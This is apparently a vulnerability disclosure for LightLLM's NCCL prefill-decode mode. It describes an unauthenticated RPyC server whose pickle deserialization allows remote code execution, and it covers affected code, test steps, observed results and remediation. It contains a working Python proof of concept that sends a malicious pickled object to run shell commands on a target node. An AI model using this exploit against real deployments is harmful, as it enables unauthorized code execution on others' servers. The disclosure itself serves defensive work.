Issue description
LightLLM in PD (prefill-decode) disaggregation mode with --pd_trans_mode nccl starts an unauthenticated RPyC ThreadedServer inside every KV-transfer worker process. The server is configured with "allow_pickle": True, "allow_all_attrs": True, "allow_getattr": True, "allow_setattr": True and exposes remote-callable methods that deserializing attacker-controlled data. A remote attacker who can reach the listening port (TCP 30000-40000 on prefill/decode nodes) achieves arbitrary code execution in the KV-transfer process with the privileges of the LightLLM service account, without any credentials.
Two independent exploitation paths were verified end-to-end from a different host against both the prefill and the decode node:
- Path A (parameter deserialization): calling
exposed_push_notif() with a crafted object while allow_pickle is enabled makes the server-side obtain() deserialize it; an object with a __reduce__ method executes arbitrary code.
- Path B (payload deserialization):
exposed_push_notif(pickle.dumps(payload)) queues attacker-controlled bytes which the worker threads later pass to pickle.loads() (nccl_kv_transporter.py:248).
This issue is mechanistically distinct from CVE-2026-26220 (PD master WebSocket pickle RCE), CVE-2026-90919 (config server /visual_register pickle RCE) and CVE-2026-93839 (/pd_register authentication bypass): those affect the PD master / config server HTTP surface; this issue affects a separate RPyC control-plane service on the prefill/decode nodes that exists only in NCCL transport mode, with a different code path, a different sink, and a different network surface.
Weakness classification: CWE-502 (Deserialization of Untrusted Data), CWE-306 (Missing Authentication for Critical Function)
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
Detail
Affected Component and Code
| Item |
Details |
| Product |
LightLLM |
| Confirmed affected source |
commit 1eb4810c78c6ea908b69c20c3c037b79979e1cd6 (v1.2.0-50-g1eb4810c); identical vulnerable configuration verified at tag v1.2.0 and still present on current main (2026-09-22) |
| Component |
PD disaggregation KV transfer, NCCL backend (--pd_trans_mode nccl) |
| File |
lightllm/server/router/model_infer/mode_backend/pd/nccl_kv_transporter.py |
| Binding |
lightllm/server/router/model_infer/mode_backend/pd/kv_transporter.py:20-36 (port range 30000 + tp_idx*100 … 40000) |
| Vulnerable locations |
_NcclControlChannel._start_server() L437-461 (ThreadedServer with allow_pickle/allow_all_attrs/allow_getattr/allow_setattr, no authentication); _NcclControlService.exposed_push_notif() L411-419 (obtain() on remote input); _get_notify_source_agent_name() L248 (pickle.loads(notify)) |
| Prerequisite |
--pd_trans_mode nccl on prefill/decode nodes; network reachability of the RPyC port |
Vulnerability Mechanism
1. Unauthenticated RPyC server with unsafe protocol config
# nccl_kv_transporter.py:437-451
def _start_server(self, host_ip: str, port_min: int, port_max: int) -> tuple[ThreadedServer, int]:
for cur_port in range(port_min, port_max + 1):
try:
server = ThreadedServer(
_NcclControlService(self),
hostname=host_ip,
port=cur_port,
protocol_config={
"allow_pickle": True,
"allow_all_attrs": True,
"allow_getattr": True,
"allow_setattr": True,
},
)
_NcclControlService is a custom rpyc.Service; there is no authentication of any kind before remote calls execute. The listening address is get_hostname_ip() or args.host (kv_transporter.py:33), i.e. the first result of hostname -i — the --host start argument has no effect on this listener. In containerized deployments (the documented multi-node PD topology, e.g. deploy_dspark_1p1d.sh / the official image), hostname -i returns the routable container/Pod IP, so the port is network-reachable by default.
2. Path A — server-side obtain() deserialization
# nccl_kv_transporter.py:411-414
class _NcclControlService(rpyc.Service):
def exposed_push_notif(self, payload: bytes):
payload = obtain(payload) # <-- with allow_pickle, deserializes attacker object
self.channel.notif_queue.put(payload)
With allow_pickle: True, rpyc passes a client-side object that cannot be referenced by netref as a pickled value; obtain() then unpickles it on the server. An object whose __reduce__ returns (os.system, (cmd,)) executes cmd inside the KV-transfer process.
3. Path B — queued payload deserialization
# nccl_kv_transporter.py:247-248
def _get_notify_source_agent_name(self, notify: bytes) -> str:
notify_obj = pickle.loads(notify) # <-- attacker-controlled bytes from exposed_push_notif
Bytes submitted through exposed_push_notif() are consumed by the transfer worker's polling threads (accept_peer_task_loop in prefill_trans_process.py / decode_trans_process.py) and passed to pickle.loads().
PoC
Test Environment
| Item |
Value |
| Victim host |
192.168.105.123 (Ubuntu 22.04, kernel 6.8.0-138-generic) |
| Attacker host |
separate workstation on the same LAN (different machine) |
| GPU / driver |
8x NVIDIA RTX 4090, driver 580.178.04, CUDA 13.0 |
| Python / torch |
3.10.21 / 2.11.0+cu130 (official ghcr.io/modeltc/lightllm:main rootfs) |
| rpyc |
5.3.1 on both ends (note: rpyc 6.x client fails with invalid message type: 18) |
| LightLLM |
commit 1eb4810c78c6ea908b69c20c3c037b79979e1cd6 |
| Model |
Qwen2.5-0.5B-Instruct |
| Topology |
1P1D, --pd_trans_mode nccl, --tp 1; master :8000, prefill :8001, decode :8002 |
Test Steps
- Start a 1P1D cluster in NCCL transport mode. The RPyC control channel binds on
hostname -i; in Docker/K8s this is the routable Pod IP by default. On a desktop Ubuntu install where /etc/hosts maps the hostname to 127.0.1.1, change that line to the machine's LAN IP to reflect the containerized default:
$ hostname -i
192.168.105.123
$ ss -ltnp | grep -E '3000[01]'
LISTEN 0 128 192.168.105.123:30000 users:(("lightllm::…::decode_trans:Device0",pid=63882,fd=71))
LISTEN 0 128 192.168.105.123:30001 users:(("lightllm::…::prefill_trans:Device0",pid=64010,fd=74))
Both the decode node (:30000) and the prefill node (:30001) run the vulnerable service.
- From the attacker workstation (different host), run:
#!/usr/bin/env python3
# Unauth RCE PoC — LightLLM NCCL PD RPyC control channel
import sys
import rpyc
HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.105.123"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 30000
class RCE:
def __reduce__(self):
import os
cmd = ("id > /tmp/lightllm_pwned_rpyc 2>&1; "
"hostname >> /tmp/lightllm_pwned_rpyc; "
"date >> /tmp/lightllm_pwned_rpyc")
return (os.system, (cmd,))
conn = rpyc.connect(
HOST, PORT,
config={"allow_all_attrs": True, "allow_getattr": True,
"allow_setattr": True, "allow_pickle": True},
keepalive=True,
)
# Path A: server-side obtain() unpickles the object -> __reduce__ executes
conn.root.push_notif(RCE())
# Path B (double-check): raw pickled bytes -> worker-thread pickle.loads()
import pickle
conn.root.push_notif(pickle.dumps(RCE()))
print("[+] delivered; inspect /tmp/lightllm_pwned_rpyc on the target")
Observed Result
No credentials, no handshake beyond the TCP/RPyC connect. Marker file created on the victim by the KV-transfer process (decode_trans:Device0, pid 65248), content:
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),136(docker)
user-R5300-G5
2026-09-22T23:28:58+08:00
- Path A verified on
:30000 (decode) and :30001 (prefill), repeated across cold and warm restarts (4+ successful rounds); Path B verified on :30000.
- The executing process is the KV-transfer worker (
prefill_trans:Device0 / decode_trans:Device0), not the HTTP server; the cluster remains healthy after exploitation (/health → pd_nodes_healthy: true), so the compromise does not disrupt service and is not visible in health monitoring.
Impact
Unauthenticated remote code execution with the privileges of the LightLLM service account on every prefill and decode node running --pd_trans_mode nccl. In the test the account held membership in the sudo and docker groups. The compromised process holds CUDA contexts and KV-cache buffers, and the RPyC channel additionally allows exposed_set_value to manipulate the NCCL bootstrap store used for communicator setup. Availability/confidentiality/integrity of the node are fully compromised while the service keeps serving.
Suggested severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical), consistent with the scoring of the previously issued LightLLM advisories (CVE-2026-26220, CVE-2026-90919).
Remediation
- Remove
allow_pickle / allow_all_attrs / allow_getattr / allow_setattr from the ThreadedServer protocol config; use rpyc's restricted defaults and pass plain validated structures.
- Replace
pickle for notify payloads with a safe schema (e.g. msgpack/JSON with field whitelists); exposed_push_notif must not accept opaque serialized objects.
- Authenticate the control channel (per-cluster shared secret distributed via the config server, or mTLS).
- Bind the control channel to an explicitly configured address; do not silently ignore
--host (currently get_hostname_ip() or args.host means the start argument never applies when hostname -i succeeds).
Issue description
LightLLM in PD (prefill-decode) disaggregation mode with
--pd_trans_mode ncclstarts an unauthenticated RPyCThreadedServerinside every KV-transfer worker process. The server is configured with"allow_pickle": True, "allow_all_attrs": True, "allow_getattr": True, "allow_setattr": Trueand exposes remote-callable methods that deserializing attacker-controlled data. A remote attacker who can reach the listening port (TCP 30000-40000 on prefill/decode nodes) achieves arbitrary code execution in the KV-transfer process with the privileges of the LightLLM service account, without any credentials.Two independent exploitation paths were verified end-to-end from a different host against both the prefill and the decode node:
exposed_push_notif()with a crafted object whileallow_pickleis enabled makes the server-sideobtain()deserialize it; an object with a__reduce__method executes arbitrary code.exposed_push_notif(pickle.dumps(payload))queues attacker-controlled bytes which the worker threads later pass topickle.loads()(nccl_kv_transporter.py:248).This issue is mechanistically distinct from CVE-2026-26220 (PD master WebSocket pickle RCE), CVE-2026-90919 (config server
/visual_registerpickle RCE) and CVE-2026-93839 (/pd_registerauthentication bypass): those affect the PD master / config server HTTP surface; this issue affects a separate RPyC control-plane service on the prefill/decode nodes that exists only in NCCL transport mode, with a different code path, a different sink, and a different network surface.Weakness classification: CWE-502 (Deserialization of Untrusted Data), CWE-306 (Missing Authentication for Critical Function)
CVSS 3.1:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(9.8 Critical)Detail
Affected Component and Code
1eb4810c78c6ea908b69c20c3c037b79979e1cd6(v1.2.0-50-g1eb4810c); identical vulnerable configuration verified at tagv1.2.0and still present on currentmain(2026-09-22)--pd_trans_mode nccl)lightllm/server/router/model_infer/mode_backend/pd/nccl_kv_transporter.pylightllm/server/router/model_infer/mode_backend/pd/kv_transporter.py:20-36(port range 30000 + tp_idx*100 … 40000)_NcclControlChannel._start_server()L437-461 (ThreadedServer withallow_pickle/allow_all_attrs/allow_getattr/allow_setattr, no authentication);_NcclControlService.exposed_push_notif()L411-419 (obtain()on remote input);_get_notify_source_agent_name()L248 (pickle.loads(notify))--pd_trans_mode ncclon prefill/decode nodes; network reachability of the RPyC portVulnerability Mechanism
1. Unauthenticated RPyC server with unsafe protocol config
_NcclControlServiceis a customrpyc.Service; there is no authentication of any kind before remote calls execute. The listening address isget_hostname_ip() or args.host(kv_transporter.py:33), i.e. the first result ofhostname -i— the--hoststart argument has no effect on this listener. In containerized deployments (the documented multi-node PD topology, e.g.deploy_dspark_1p1d.sh/ the official image),hostname -ireturns the routable container/Pod IP, so the port is network-reachable by default.2. Path A — server-side
obtain()deserializationWith
allow_pickle: True, rpyc passes a client-side object that cannot be referenced by netref as a pickled value;obtain()then unpickles it on the server. An object whose__reduce__returns(os.system, (cmd,))executescmdinside the KV-transfer process.3. Path B — queued payload deserialization
Bytes submitted through
exposed_push_notif()are consumed by the transfer worker's polling threads (accept_peer_task_loopinprefill_trans_process.py/decode_trans_process.py) and passed topickle.loads().PoC
Test Environment
192.168.105.123(Ubuntu 22.04, kernel 6.8.0-138-generic)ghcr.io/modeltc/lightllm:mainrootfs)invalid message type: 18)1eb4810c78c6ea908b69c20c3c037b79979e1cd6--pd_trans_mode nccl,--tp 1; master:8000, prefill:8001, decode:8002Test Steps
hostname -i; in Docker/K8s this is the routable Pod IP by default. On a desktop Ubuntu install where/etc/hostsmaps the hostname to127.0.1.1, change that line to the machine's LAN IP to reflect the containerized default:Both the decode node (
:30000) and the prefill node (:30001) run the vulnerable service.Observed Result
No credentials, no handshake beyond the TCP/RPyC connect. Marker file created on the victim by the KV-transfer process (
decode_trans:Device0, pid 65248), content::30000(decode) and:30001(prefill), repeated across cold and warm restarts (4+ successful rounds); Path B verified on:30000.prefill_trans:Device0/decode_trans:Device0), not the HTTP server; the cluster remains healthy after exploitation (/health→pd_nodes_healthy: true), so the compromise does not disrupt service and is not visible in health monitoring.Impact
Unauthenticated remote code execution with the privileges of the LightLLM service account on every prefill and decode node running
--pd_trans_mode nccl. In the test the account held membership in thesudoanddockergroups. The compromised process holds CUDA contexts and KV-cache buffers, and the RPyC channel additionally allowsexposed_set_valueto manipulate the NCCL bootstrap store used for communicator setup. Availability/confidentiality/integrity of the node are fully compromised while the service keeps serving.Suggested severity: CVSS 3.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(9.8 Critical), consistent with the scoring of the previously issued LightLLM advisories (CVE-2026-26220, CVE-2026-90919).Remediation
allow_pickle/allow_all_attrs/allow_getattr/allow_setattrfrom theThreadedServerprotocol config; use rpyc's restricted defaults and pass plain validated structures.picklefor notify payloads with a safe schema (e.g. msgpack/JSON with field whitelists);exposed_push_notifmust not accept opaque serialized objects.--host(currentlyget_hostname_ip() or args.hostmeans the start argument never applies whenhostname -isucceeds).